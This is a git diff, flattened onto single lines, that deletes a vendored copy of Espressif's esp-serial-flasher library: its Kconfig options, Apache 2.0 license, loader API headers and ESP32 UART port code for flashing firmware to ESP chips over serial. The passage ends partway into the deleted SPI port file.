deleted file mode 100644 index 41d776f11..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/Kconfig +++ /dev/null @@ -1,34 +0,0 @@ -menu "ESP serial flasher" - config SERIAL_FLASHER_MD5_ENABLED - bool "Enable MD5 check" - default y - help - Select this option to enable MD5 hashsum check after flashing. - - choice SERIAL_FLASHER_INTERFACE - prompt "Hardware interface to use for firmware download" - default SERIAL_FLASHER_INTERFACE_UART - help - esp-serial-flasher can work with UART and SPI interfaces. - - config SERIAL_FLASHER_INTERFACE_UART - bool "UART" - - config SERIAL_FLASHER_INTERFACE_SPI - bool "SPI (Only supports downloading to RAM, experimental)" - - endchoice - - config SERIAL_FLASHER_RESET_HOLD_TIME_MS - int "Time for which the reset pin is asserted when doing a hard reset" - default 100 - - config SERIAL_FLASHER_BOOT_HOLD_TIME_MS - int "Time for which the boot pin is asserted when doing a hard reset" - default 50 - - config SERIAL_FLASHER_DEBUG_TRACE - bool "Enable debug tracing output (only transfer data tracing is supported at the time)" - default n - -endmenu diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/LICENSE b/applications/external/esp_flasher/lib/esp-serial-flasher/LICENSE deleted file mode 100644 index d64569567..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/LICENSE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/idf_component.yml b/applications/external/esp_flasher/lib/esp-serial-flasher/idf_component.yml deleted file mode 100644 index e2166924c..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/idf_component.yml +++ /dev/null @@ -1,3 +0,0 @@ -version: "0.2.0" -description: Serial flasher component provides portable library for flashing or loading ram loadble app to Espressif SoCs from other host microcontroller -url: https://github.com/espressif/esp-serial-flasher diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/include/esp_loader.h b/applications/external/esp_flasher/lib/esp-serial-flasher/include/esp_loader.h deleted file mode 100644 index 43f4fb9d9..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/include/esp_loader.h +++ /dev/null @@ -1,313 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* Used for backwards compatibility with the previous API */ -#define esp_loader_change_baudrate esp_loader_change_transmission_rate - -/** - * Macro which can be used to check the error code, - * and return in case the code is not ESP_LOADER_SUCCESS. - */ -#define RETURN_ON_ERROR(x) do { \ - esp_loader_error_t _err_ = (x); \ - if (_err_ != ESP_LOADER_SUCCESS) { \ - return _err_; \ - } \ -} while(0) - -/** - * @brief Error codes - */ -typedef enum { - ESP_LOADER_SUCCESS, /*!< Success */ - ESP_LOADER_ERROR_FAIL, /*!< Unspecified error */ - ESP_LOADER_ERROR_TIMEOUT, /*!< Timeout elapsed */ - ESP_LOADER_ERROR_IMAGE_SIZE, /*!< Image size to flash is larger than flash size */ - ESP_LOADER_ERROR_INVALID_MD5, /*!< Computed and received MD5 does not match */ - ESP_LOADER_ERROR_INVALID_PARAM, /*!< Invalid parameter passed to function */ - ESP_LOADER_ERROR_INVALID_TARGET, /*!< Connected target is invalid */ - ESP_LOADER_ERROR_UNSUPPORTED_CHIP, /*!< Attached chip is not supported */ - ESP_LOADER_ERROR_UNSUPPORTED_FUNC, /*!< Function is not supported on attached target */ - ESP_LOADER_ERROR_INVALID_RESPONSE /*!< Internal error */ -} esp_loader_error_t; - -/** - * @brief Supported targets - */ -typedef enum { - ESP8266_CHIP = 0, - ESP32_CHIP = 1, - ESP32S2_CHIP = 2, - ESP32C3_CHIP = 3, - ESP32S3_CHIP = 4, - ESP32C2_CHIP = 5, - ESP32H4_CHIP = 6, - ESP32H2_CHIP = 7, - ESP_MAX_CHIP = 8, - ESP_UNKNOWN_CHIP = 8 -} target_chip_t; - -/** - * @brief Application binary header - */ -typedef struct { - uint8_t magic; - uint8_t segments; - uint8_t flash_mode; - uint8_t flash_size_freq; - uint32_t entrypoint; -} esp_loader_bin_header_t; - -/** - * @brief Segment binary header - */ -typedef struct { - uint32_t addr; - uint32_t size; - uint8_t *data; -} esp_loader_bin_segment_t; - -/** - * @brief SPI pin configuration arguments - */ -typedef union { - struct { - uint32_t pin_clk: 6; - uint32_t pin_q: 6; - uint32_t pin_d: 6; - uint32_t pin_cs: 6; - uint32_t pin_hd: 6; - uint32_t zero: 2; - }; - uint32_t val; -} esp_loader_spi_config_t; - -/** - * @brief Connection arguments - */ -typedef struct { - uint32_t sync_timeout; /*!< Maximum time to wait for response from serial interface. */ - int32_t trials; /*!< Number of trials to connect to target. If greater than 1, - 100 millisecond delay is inserted after each try. */ -} esp_loader_connect_args_t; - -#define ESP_LOADER_CONNECT_DEFAULT() { \ - .sync_timeout = 100, \ - .trials = 10, \ -} - -/** - * @brief Connects to the target - * - * @param connect_args[in] Timing parameters to be used for connecting to target. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_connect(esp_loader_connect_args_t *connect_args); - -/** - * @brief Returns attached target chip. - * - * @warning This function can only be called after connection with target - * has been successfully established by calling esp_loader_connect(). - * - * @return One of target_chip_t - */ -target_chip_t esp_loader_get_target(void); - - -#ifdef SERIAL_FLASHER_INTERFACE_UART -/** - * @brief Initiates flash operation - * - * @param offset[in] Address from which flash operation will be performed. - * @param image_size[in] Size of the whole binary to be loaded into flash. - * @param block_size[in] Size of buffer used in subsequent calls to esp_loader_flash_write. - * - * @note image_size is size of the whole image, whereas, block_size is chunk of data sent - * to the target, each time esp_loader_flash_write function is called. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_flash_start(uint32_t offset, uint32_t image_size, uint32_t block_size); - -/** - * @brief Writes supplied data to target's flash memory. - * - * @param payload[in] Data to be flashed into target's memory. - * @param size[in] Size of payload in bytes. - * - * @note size must not be greater that block_size supplied to previously called - * esp_loader_flash_start function. If size is less than block_size, - * remaining bytes of payload buffer will be padded with 0xff. - * Therefore, size of payload buffer has to be equal or greater than block_size. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_flash_write(void *payload, uint32_t size); - -/** - * @brief Ends flash operation. - * - * @param reboot[in] reboot the target if true. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_flash_finish(bool reboot); -#endif /* SERIAL_FLASHER_INTERFACE_UART */ - - -/** - * @brief Initiates mem operation, initiates loading for program into target RAM - * - * @param offset[in] Address from which mem operation will be performed. - * @param size[in] Size of the whole binary to be loaded into mem. - * @param block_size[in] Size of buffer used in subsequent calls to esp_loader_mem_write. - * - * @note image_size is size of the whole image, whereas, block_size is chunk of data sent - * to the target, each time esp_mem_flash_write function is called. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_mem_start(uint32_t offset, uint32_t size, uint32_t block_size); - - -/** - * @brief Writes supplied data to target's mem memory. - * - * @param payload[in] Data to be loaded into target's memory. - * @param size[in] Size of data in bytes. - * - * @note size must not be greater that block_size supplied to previously called - * esp_loader_mem_start function. - * Therefore, size of data buffer has to be equal or greater than block_size. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_mem_write(const void *payload, uint32_t size); - - -/** - * @brief Ends mem operation, finish loading for program into target RAM - * and send the entrypoint of ram_loadable app - * - * @param entrypoint[in] entrypoint of ram program. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_mem_finish(uint32_t entrypoint); - - -/** - * @brief Writes register. - * - * @param address[in] Address of register. - * @param reg_value[in] New register value. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_write_register(uint32_t address, uint32_t reg_value); - -/** - * @brief Reads register. - * - * @param address[in] Address of register. - * @param reg_value[out] Register value. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - */ -esp_loader_error_t esp_loader_read_register(uint32_t address, uint32_t *reg_value); - -/** - * @brief Change baud rate. - * - * @note Baud rate has to be also adjusted accordingly on host MCU, as - * target's baud rate is changed upon return from this function. - * - * @param transmission_rate[in] new baud rate to be set. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - * - ESP_LOADER_ERROR_UNSUPPORTED_FUNC Unsupported on the target - */ -esp_loader_error_t esp_loader_change_transmission_rate(uint32_t transmission_rate); - -/** - * @brief Verify target's flash integrity by checking MD5. - * MD5 checksum is computed from data pushed to target's memory by calling - * esp_loader_flash_write() function and compared against target's MD5. - * Target computes checksum based on offset and image_size passed to - * esp_loader_flash_start() function. - * - * @note This function is only available if MD5_ENABLED is set. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_INVALID_MD5 MD5 does not match - * - ESP_LOADER_ERROR_TIMEOUT Timeout - * - ESP_LOADER_ERROR_INVALID_RESPONSE Internal error - * - ESP_LOADER_ERROR_UNSUPPORTED_FUNC Unsupported on the target - */ -#if MD5_ENABLED -esp_loader_error_t esp_loader_flash_verify(void); -#endif -/** - * @brief Toggles reset pin. - */ -void esp_loader_reset_target(void); - - - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/include/esp_loader_io.h b/applications/external/esp_flasher/lib/esp-serial-flasher/include/esp_loader_io.h deleted file mode 100644 index 2ff99b4f9..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/include/esp_loader_io.h +++ /dev/null @@ -1,112 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - - #pragma once - -#include -#include "esp_loader.h" - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * @brief Changes the transmission rate of the used peripheral. - */ -esp_loader_error_t loader_port_change_transmission_rate(uint32_t transmission_rate); - -/** - * @brief Writes data over the io interface. - * - * @param data[in] Buffer with data to be written. - * @param size[in] Size of data in bytes. - * @param timeout[in] Timeout in milliseconds. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout elapsed - */ -esp_loader_error_t loader_port_write(const uint8_t *data, uint16_t size, uint32_t timeout); - -/** - * @brief Reads data from the io interface. - * - * @param data[out] Buffer into which received data will be written. - * @param size[in] Number of bytes to read. - * @param timeout[in] Timeout in milliseconds. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_TIMEOUT Timeout elapsed - */ -esp_loader_error_t loader_port_read(uint8_t *data, uint16_t size, uint32_t timeout); - -/** - * @brief Delay in milliseconds. - * - * @param ms[in] Number of milliseconds. - * - */ -void loader_port_delay_ms(uint32_t ms); - -/** - * @brief Starts timeout timer. - * - * @param ms[in] Number of milliseconds. - * - */ -void loader_port_start_timer(uint32_t ms); - -/** - * @brief Returns remaining time since timer was started by calling esp_loader_start_timer. - * 0 if timer has elapsed. - * - * @return Number of milliseconds. - * - */ -uint32_t loader_port_remaining_time(void); - -/** - * @brief Asserts bootstrap pins to enter boot mode and toggles reset pin. - * - * @note Reset pin should stay asserted for at least 20 milliseconds. - */ -void loader_port_enter_bootloader(void); - -/** - * @brief Toggles reset pin. - * - * @note Reset pin should stay asserted for at least 20 milliseconds. - */ -void loader_port_reset_target(void); - -/** - * @brief Function can be defined by user to print debug message. - * - * @note Empty weak function is used, otherwise. - * - */ -void loader_port_debug_print(const char *str); - -#ifdef SERIAL_FLASHER_INTERFACE_SPI -/** - * @brief Sets the chip select to a defined level - */ -void loader_port_spi_set_cs(uint32_t level); -#endif /* SERIAL_FLASHER_INTERFACE_SPI */ - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/include/serial_io.h b/applications/external/esp_flasher/lib/esp-serial-flasher/include/serial_io.h deleted file mode 100644 index e34939300..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/include/serial_io.h +++ /dev/null @@ -1,24 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#warning Please replace serial_io.h with esp_loader_io.h and change the function names \ - to match the new API - -/* Defines used to avoid breaking existing ports */ -#define loader_port_change_baudrate loader_port_change_transmission_rate -#define loader_port_serial_write loader_port_write -#define loader_port_serial_read loader_port_read - -#include "esp_loader_io.h" diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_port.c b/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_port.c deleted file mode 100644 index a6c8687c6..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_port.c +++ /dev/null @@ -1,181 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "esp32_port.h" -#include "driver/uart.h" -#include "driver/gpio.h" -#include "esp_timer.h" -#include "esp_log.h" -#include "esp_idf_version.h" -#include - -#ifdef SERIAL_FLASHER_DEBUG_TRACE -static void transfer_debug_print(const uint8_t *data, uint16_t size, bool write) -{ - static bool write_prev = false; - - if (write_prev != write) { - write_prev = write; - printf("\n--- %s ---\n", write ? "WRITE" : "READ"); - } - - for (uint32_t i = 0; i < size; i++) { - printf("%02x ", data[i]); - } -} -#endif - -static int64_t s_time_end; -static int32_t s_uart_port; -static int32_t s_reset_trigger_pin; -static int32_t s_gpio0_trigger_pin; - -esp_loader_error_t loader_port_esp32_init(const loader_esp32_config_t *config) -{ - s_uart_port = config->uart_port; - s_reset_trigger_pin = config->reset_trigger_pin; - s_gpio0_trigger_pin = config->gpio0_trigger_pin; - - // Initialize UART - uart_config_t uart_config = { - .baud_rate = config->baud_rate, - .data_bits = UART_DATA_8_BITS, - .parity = UART_PARITY_DISABLE, - .stop_bits = UART_STOP_BITS_1, - .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, -#if ESP_IDF_VERSION >= ESP_IDF_VERSION_VAL(5, 0, 0) - .source_clk = UART_SCLK_DEFAULT, -#endif - }; - - int rx_buffer_size = config->rx_buffer_size ? config->rx_buffer_size : 400; - int tx_buffer_size = config->tx_buffer_size ? config->tx_buffer_size : 400; - QueueHandle_t *uart_queue = config->uart_queue ? config->uart_queue : NULL; - int queue_size = config->queue_size ? config->queue_size : 0; - - if ( uart_param_config(s_uart_port, &uart_config) != ESP_OK ) { - return ESP_LOADER_ERROR_FAIL; - } - if ( uart_set_pin(s_uart_port, config->uart_tx_pin, config->uart_rx_pin, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE) != ESP_OK ) { - return ESP_LOADER_ERROR_FAIL; - } - if ( uart_driver_install(s_uart_port, rx_buffer_size, tx_buffer_size, queue_size, uart_queue, 0) != ESP_OK ) { - return ESP_LOADER_ERROR_FAIL; - } - - // Initialize boot pin selection pins - gpio_reset_pin(s_reset_trigger_pin); - gpio_set_pull_mode(s_reset_trigger_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_reset_trigger_pin, GPIO_MODE_OUTPUT); - - gpio_reset_pin(s_gpio0_trigger_pin); - gpio_set_pull_mode(s_gpio0_trigger_pin, GPIO_PULLUP_ONLY); - gpio_set_direction(s_gpio0_trigger_pin, GPIO_MODE_OUTPUT); - - return ESP_LOADER_SUCCESS; -} - -void loader_port_esp32_deinit(void) -{ - uart_driver_delete(s_uart_port); -} - - -esp_loader_error_t loader_port_write(const uint8_t *data, uint16_t size, uint32_t timeout) -{ - uart_write_bytes(s_uart_port, (const char *)data, size); - esp_err_t err = uart_wait_tx_done(s_uart_port, pdMS_TO_TICKS(timeout)); - - if (err == ESP_OK) { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, size, true); -#endif - return ESP_LOADER_SUCCESS; - } else if (err == ESP_ERR_TIMEOUT) { - return ESP_LOADER_ERROR_TIMEOUT; - } else { - return ESP_LOADER_ERROR_FAIL; - } -} - - -esp_loader_error_t loader_port_read(uint8_t *data, uint16_t size, uint32_t timeout) -{ - int read = uart_read_bytes(s_uart_port, data, size, pdMS_TO_TICKS(timeout)); - - if (read < 0) { - return ESP_LOADER_ERROR_FAIL; - } else if (read < size) { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, read, false); -#endif - return ESP_LOADER_ERROR_TIMEOUT; - } else { -#ifdef SERIAL_FLASHER_DEBUG_TRACE - transfer_debug_print(data, read, false); -#endif - return ESP_LOADER_SUCCESS; - } -} - - -// Set GPIO0 LOW, then -// assert reset pin for 50 milliseconds. -void loader_port_enter_bootloader(void) -{ - gpio_set_level(s_gpio0_trigger_pin, 0); - loader_port_reset_target(); - loader_port_delay_ms(SERIAL_FLASHER_BOOT_HOLD_TIME_MS); - gpio_set_level(s_gpio0_trigger_pin, 1); -} - - -void loader_port_reset_target(void) -{ - gpio_set_level(s_reset_trigger_pin, 0); - loader_port_delay_ms(SERIAL_FLASHER_RESET_HOLD_TIME_MS); - gpio_set_level(s_reset_trigger_pin, 1); -} - - -void loader_port_delay_ms(uint32_t ms) -{ - usleep(ms * 1000); -} - - -void loader_port_start_timer(uint32_t ms) -{ - s_time_end = esp_timer_get_time() + ms * 1000; -} - - -uint32_t loader_port_remaining_time(void) -{ - int64_t remaining = (s_time_end - esp_timer_get_time()) / 1000; - return (remaining > 0) ? (uint32_t)remaining : 0; -} - - -void loader_port_debug_print(const char *str) -{ - printf("DEBUG: %s\n", str); -} - -esp_loader_error_t loader_port_change_transmission_rate(uint32_t baudrate) -{ - esp_err_t err = uart_set_baudrate(s_uart_port, baudrate); - return (err == ESP_OK) ? ESP_LOADER_SUCCESS : ESP_LOADER_ERROR_FAIL; -} \ No newline at end of file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_port.h b/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_port.h deleted file mode 100644 index c098762d2..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_port.h +++ /dev/null @@ -1,59 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - - #pragma once - -#include "esp_loader_io.h" -#include "freertos/FreeRTOS.h" -#include "freertos/queue.h" - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct -{ - uint32_t baud_rate; /*!< Initial baud rate, can be changed later */ - uint32_t uart_port; /*!< UART port */ - uint32_t uart_rx_pin; /*!< This pin will be configured as UART Rx pin */ - uint32_t uart_tx_pin; /*!< This pin will be configured as UART Tx pin */ - uint32_t reset_trigger_pin; /*!< This pin will be used to reset target chip */ - uint32_t gpio0_trigger_pin; /*!< This pin will be used to toggle set IO0 of target chip */ - uint32_t rx_buffer_size; /*!< Set to zero for default RX buffer size */ - uint32_t tx_buffer_size; /*!< Set to zero for default TX buffer size */ - uint32_t queue_size; /*!< Set to zero for default UART queue size */ - QueueHandle_t *uart_queue; /*!< Set to NULL, if UART queue handle is not - necessary. Otherwise, it will be assigned here */ -} loader_esp32_config_t; - -/** - * @brief Initializes serial interface. - * - * @param baud_rate[in] Communication speed. - * - * @return - * - ESP_LOADER_SUCCESS Success - * - ESP_LOADER_ERROR_FAIL Initialization failure - */ -esp_loader_error_t loader_port_esp32_init(const loader_esp32_config_t *config); - -/** - * @brief Deinitialize serial interface. - */ -void loader_port_esp32_deinit(void); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_spi_port.c b/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_spi_port.c deleted file mode 100644 index 55e8f3e57..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/port/esp32_spi_port.c +++ /dev/null @@ -1,298 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY 